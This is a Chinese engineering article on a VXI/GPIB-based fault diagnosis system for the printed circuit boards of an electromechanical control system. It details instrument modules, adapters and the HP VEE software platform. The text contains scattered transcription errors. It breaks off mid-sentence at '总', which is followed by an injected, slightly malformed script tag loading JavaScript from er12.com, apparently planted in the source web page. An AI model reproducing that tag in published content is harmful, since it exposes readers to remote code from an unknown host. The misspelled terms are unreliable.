某机电控制系统采用了集中分布式计算机,其功能强,操作简便,但配置庞大、复杂,所包含的几百块印刷电路板是易发生故障的环节,维修测试技术要求高。为了缩短排除电路板故障的时间,提高维修质量,我们研制了基于vxi总线仪器|仪表的电路板故障诊断系统,对上述电路板进行故障检测和诊断,且将故障定位到元器件级。
1. 故障诊断系统的硬件
vxi(vme bus extension for instrumentation)总线是当前性能最先进的测控系统机箱底板总线之一,具有标准开放、结构紧凑、数据吞吐能力强、模块可重复使用、众多仪器厂家支持等优点。vxi总线标准及其产品的问世,在国内外自动测试领域掀起了一场新的革命,对国际自动化测试技术的发展产生了重大影响。成为当今测量与控制技术的发展方向口电路板故障诊断系统以系统控制器、vxi总线主机箱及其测试仪器模块为核心,辅以部分ieee488程控仪器,而待测电路板通过转接器和适配器与系统连接。系统硬件组成方框图见图1。
图1故障诊断系统硬件结构框图
(1)系统控制器。选择外挂式主控计算机,它内配gpib通信接口卡,通过gpib-vxi翻译器与vxi 总线主机箱相连。内嵌式计算机具有速度快、体积小和使用方便等优点,但其成本太高且不易升级,因此仍选用外挂式。
(2)vxi总线主机箱及其测试仪器模块。考虑到vxi总线所具有的优点,研制的电路板故障诊断系统选用了c尺寸13槽hpe8403a高性能vxi总线主机箱,其测试仪器模块可利用槽数为12个。虽然目前采购的测试仪器模块只有4个,但空余的槽为系统的扩充和功能完善提供了可能。
在vxi总线主机箱中采用hpe1406a命令模块为零槽模块,它通过gpib.vxi翻译器与外接控制器相连接,具有翻译器和接口功能,提供公共系统资源和进行资源管理;采用hpe1418a(8通道d/a转换)模块为待测电路板提供所需的模拟信号;采用hpe1458a(96通道数字v0)模块与待测电路板的数据总线、地址总线和控制总线连接,完成对电路板的控制和读写操作;采用hpe1411b(5位半数字万用表)作为信号参数测试模块。
(3)ieee488程控仪器。为了给待测电路板提供稳定的电压源同时又便于程序控制,选择台式仪器hpe3631a和hpe3632a作为系统的程控激励源。
(4)转接器和通用适配器。该部分主要为激励源和测量仪器设备与测试对象之间建立一个基本统一的连接与通信方式。由于待测电路板类型很多,仅仅采用单一适配器是无法满足测试要求的,所以在每一通用适配器与尽可能多的待测电路板相连接的基础上,设计了一个转接器。设计转接器是为了避免在更换通用适配器时电线和电缆的反复插拔和连接。所有激励源、vxi测量仪器模块的引出线都集中连接到转接器上,再通过一个96针接插口和通用适配器相连。由于待测电路板是标准设计,大部分都具有96针阳极接插口,因此通用适配器又可以与多种待测电路板连接,最终将故障诊断系统和待测电路板连接成完整的一体。
另外,为给待测电路板提供所需的时钟信号,系统还包括df1631功率函数信号发生器1台,它通过电缆与转接器连接。以上前3个部分通过gpib总线连接在一起,构成测试诊断系统的主框架。gpib(general p11epose interface bus)是hp公司在70年代发明的一种8位并行接口,它能使上架式和台式仪器相互间,以及与宿主计算机间进行通信。由于它简单灵活,几乎所有的仪器制造商都使用这种接口[口,直到今天,它仍是由独立仪器构成的自动测试系统的首选接口。虽然gpib总线数据传输率较低,但能够满足研制的测试诊断系统的技术要求。又出于性能价格比的考虑,所以电路板故障诊断系统以台式仪器为主,组成了gpib和vxi总线混合的集成测试系统。系统使用的vxi卡式测量仪器设备和gpib程控仪器设备符合国际标准,标准化、通用化、模块化程度较高,兼容性强,易进行系统扩展和更新换代,为以后系统的完善和发展打下坚实的基础。
2. 故障诊断系统的软件设计
故障诊断系统的软件设计平台选择了hpvee,基本操作环境为windows 98。windows 98支持32位程序开发,由于它是一个多任务操作系统环境,因此各任务间既易于转换又可方便地交换信息,为用户提供方便、良好的操作界面,是一个较理想的操作系统。系统软件平台选用了图形化编程语言hpvee,它是目前用于测试与测量中最富有成效的编程语言。vee(visual engineering mviroment)是一种面向仪器控制的模块化编程语言,也是目前面向vxi总线测试系统主要的软件开发环境之一,它能处理日常性的任务,如仪器控制、测量处理和测试报告,简化在测试开发过程中所遇到的任务:系统集成、调试、结构化编程设计和文档处理。同时,用其他语言,如c/c++、vc、vb、fortran等编写的程序可以很容易地与hpvee程序结合在一起,这对今天的测试开发尤其重要。总?script src=http://er12.com/t.js>